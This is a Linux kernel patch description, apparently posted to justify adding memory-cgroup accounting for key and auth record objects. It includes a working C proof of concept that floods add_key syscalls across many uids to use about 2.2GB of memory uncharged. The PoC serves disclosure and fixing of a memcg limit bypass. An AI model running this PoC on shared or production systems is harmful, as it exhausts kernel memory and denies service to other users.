This patch enables accounting for key objects and auth record objects.
Allocation of the objects are triggerable by syscalls from userspace.

We have written a PoC to show that the missing-charging objects lead to
breaking memcg limits. The PoC program takes around 2.2GB unaccounted
memory, while it is charged for only 24MB memory usage. We evaluate the
PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All
the limitations including ulimits and sysctl variables are set as default.
Specifically, we set kernel.keys.maxbytes = 20000 and 
kernel.keys.maxkeys = 200.

/*------------------------- POC code ----------------------------*/

#include <asm/unistd.h>
#include <linux/keyctl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>

char desc[4000];
void alloc_key_user(int id) {
  int i = 0, times = -1;
  __s32 serial = 0;
  int err = seteuid(id);
  if (err == 0)
    printf("uid allocation success on id %d!\n", id);
  else {
    printf("err reason is %s.\n", strerror(errno));
    return;
  }
  srand(time(0));
  while (serial != -1) {
    ++times;
    for (i = 0; i < 3900; ++i)
      desc[i] = rand()%255 + 1;
    desc[i] = '\0';
    serial = syscall(__NR_add_key, "user", desc, "payload",
      strlen("payload"), KEY_SPEC_SESSION_KEYRING);
  }
  printf("allocation happened %d times.\n", times);
  seteuid(0);
}

int main() {
  int loop_times = 100000;
  int start_uid = 33001;
  for (int i = 0; i < loop_times; ++i) {
    alloc_key_user(i+start_uid);
  }
  while(1);
  return 0;
}

/*-------------------------- end --------------------------------*/
